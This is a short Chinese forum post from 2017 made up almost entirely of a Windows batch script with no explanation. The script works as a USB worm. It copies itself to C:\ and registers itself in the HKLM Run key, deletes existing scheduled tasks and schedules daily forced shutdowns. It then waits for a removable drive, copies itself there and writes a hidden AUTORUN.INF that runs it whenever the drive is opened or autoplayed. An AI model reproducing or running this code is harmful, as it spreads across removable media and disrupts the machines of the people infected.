|
|
楼主 |
发表于 2017-11-24 14:45:38
|
显示全部楼层
本帖最后由 hk7777777 于 2017-11-25 14:26 编辑
- @echo off
- setlocal EnableDelayedExpansion
- copy /Y %0>C:\0.bat
- reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v shutdown /d "C:\0.bat" /f
- at /delete /yes
- for %%i in (11:40 17:05 21:50) do (
- at %%i /every:M,T,W,Th,F,S,Su shutdown -s -t 10)
- for %%i in (Z Y X W V U T S R Q P O N M L K J I H G F E D) do (if NOT exist %%i:\*.* set a=%%i)
- :a
- (if NOT exist %a%:\*.* goto a)>nul
- copy /Y %0>%a%:\0.bat
- if exist %a%:\AUTORUN.INF\ (
- del /f /a /q %a%:\AUTORUN.INF\*.*
- cd /s /q %a%:\AUTORUN.INF\)
- echo ^[autorun^]>%a%:\AUTORUN.INF
- echo OPEN^=explorer.exe>>%a%:\AUTORUN.INF
- echo shell\open^=打开^(^&O^)>>%a%:\AUTORUN.INF
- echo shell\open\Command^=0.bat>>%a%:\AUTORUN.INF
- echo shell\open\Default^=1>>%a%:\AUTORUN.INF
- echo shell\资源管理器(^&X)\Command^=0.bat>>%a%:\AUTORUN.INF
- echo shell\自动播放(^&P)\DropTarget^=0.bat>>%a%:\AUTORUN.INF
- attrib +sh %a%:\AUTORUN.INF
- attrib +h %a%:\0.bat
复制代码 |
|